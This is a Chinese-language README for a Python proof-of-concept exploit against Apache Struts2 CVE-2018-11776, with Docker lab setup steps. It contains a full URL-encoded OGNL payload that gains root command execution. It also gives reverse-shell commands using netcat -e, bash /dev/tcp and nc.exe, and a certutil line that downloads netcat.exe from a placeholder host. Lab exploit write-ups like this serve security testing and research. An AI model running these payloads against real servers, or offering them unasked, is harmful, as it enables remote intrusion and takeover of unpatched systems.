
用于 CVE-2018-11776 的可运行 Python 测试与 PoC,包含 Docker 实验环境
hook-s3c (github.com/hook-s3c),推特:@hook_s3c
用于 CVE-2018-11776 的可运行 Python 测试与 PoC,最初发布于; https://github.com/hook-s3c/CVE-2018-11776-Python-PoC
Semmle 的 Man Yue Mo 披露了一个 Struts2 RCE 漏洞,该漏洞通过编码在请求 URL 路径中的载荷(payload)进行投递。
受影响版本为 2.3 至 2.3.34,以及 2.5 至 2.5.16。
默认配置并不存在漏洞,但如果配置错误……那就只能 F 了。
exploit 在针对 cve-2017-5638 构建的 Docker 容器(struts2-showcase-2.3.12)中可以正常工作
$ docker pull piesecurity/apache-struts2-cve-2017-5638
$ docker run -d --name struts2 -p 32771:8080 piesecurity/apache-struts2-cve-2017-5638
$ apt-get install vim
$ vim /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml
添加下面的配置;
<action name="help">
<result type="redirectAction">
<param name="actionName">date.action</param>
</result>
</action>
同时还要添加;
<struts>
<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
重启你的 tomcat 和/或容器
$ /usr/local/tomcat/bin/shutdown.sh
测试该 URL,观察是否发生重定向和表达式求值;
http://0.0.0.0:32771/${2+2}/help.action > http://0.0.0.0:32771/4/date.action
使用测试脚本;
$ ./exploitS2-057-test.py http://0.0.0.0:32771/showcase.action
testing the url for exploit; http://0.0.0.0:32771/${12612+24867}/help.action
URL http://0.0.0.0:32771/showcase.action s2-057 CVE-2018-11776 is vulnerable!
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'id'
[Execute]: https://raw.githubusercontent.com/hook-s3c/cve-2018-11776-python-poc/HEAD/id
[Url]: http://0.0.0.0:32771/$%7B(%23_memberAccess%5B%27allowStaticMethodAccess%27%5D=true).(%23cmd=%27id%27).(%23iswin=(@java.lang.System@getProperty(%27os.name%27).toLowerCase().contains(%27win%27))).(%23cmds=(%23iswin%3F%7B%27cmd.exe%27,%27c%27,%23cmd%7D:%7B%27bash%27,%27-c%27,%23cmd%7D)).(%23p=new%20java.lang.ProcessBuilder(%23cmds)).(%23p.redirectErrorStream(true)).(%23process=%23p.start()).(%23ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(%23process.getInputStream(),%23ros)).(%23ros.flush())%7D/help.action
uid=0(root) gid=0(root) groups=0(root)
让你的机器准备好接收反弹 Shell;
$ netcat -lvp 31337
运行脚本;
# you'll want to install netcat
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'apt-get install netcat -y'
# now pop that shell
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'netcat -e "$SHELL" 172.17.0.1 31337'
将 32771 替换为你映射出来的容器端口
$ netcat -lvp 31337
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 "/bin/bash -i >& /dev/tcp/172.17.0.1/31337 0>&1"
# grab netcat binary
# https://stackoverflow.com/questions/28143160/how-can-i-download-a-file-with-batch-file-without-using-any-external-tools
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'certutil.exe -urlcache -split -f "https://yourhostingservice.1337/files/netcat.exe" nc.exe'
# execute
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'nc.exe 172.17.0.1 31337 –e cmd.exe'
所有包含正斜杠(/)的请求都会失败,因为 Tomcat 会主动拦截它们,你可能需要设法绕过这一点,例如在上面的示例中使用环境变量 $SHELL 来代替 /bin/bash。
考虑到这一点,Windows 的 /c 标志将无法按预期工作。我只在 Docker 容器上测试过。
感谢 @Menin_TheMiddle 证明正斜杠问题是可以解决的,代码现在支持正斜杠,因此现在也可以通过 bash 实现无需 netcat 的反弹 Shell,并且现在还支持 Windows 实例(未经测试)。
修补你的 Struts,或者干脆别用它。
我猜如果你碰巧遭遇了数据泄露,所有客户资料都被泄漏出去,你总还能去卖身份欺诈产品!(你知道我说的是谁,绝对的渣滓)
感谢;
向 vap0rsquad 致敬!!! sH3llG0d - Willow - D@3M0¢π1 - n4t4s - 23pieces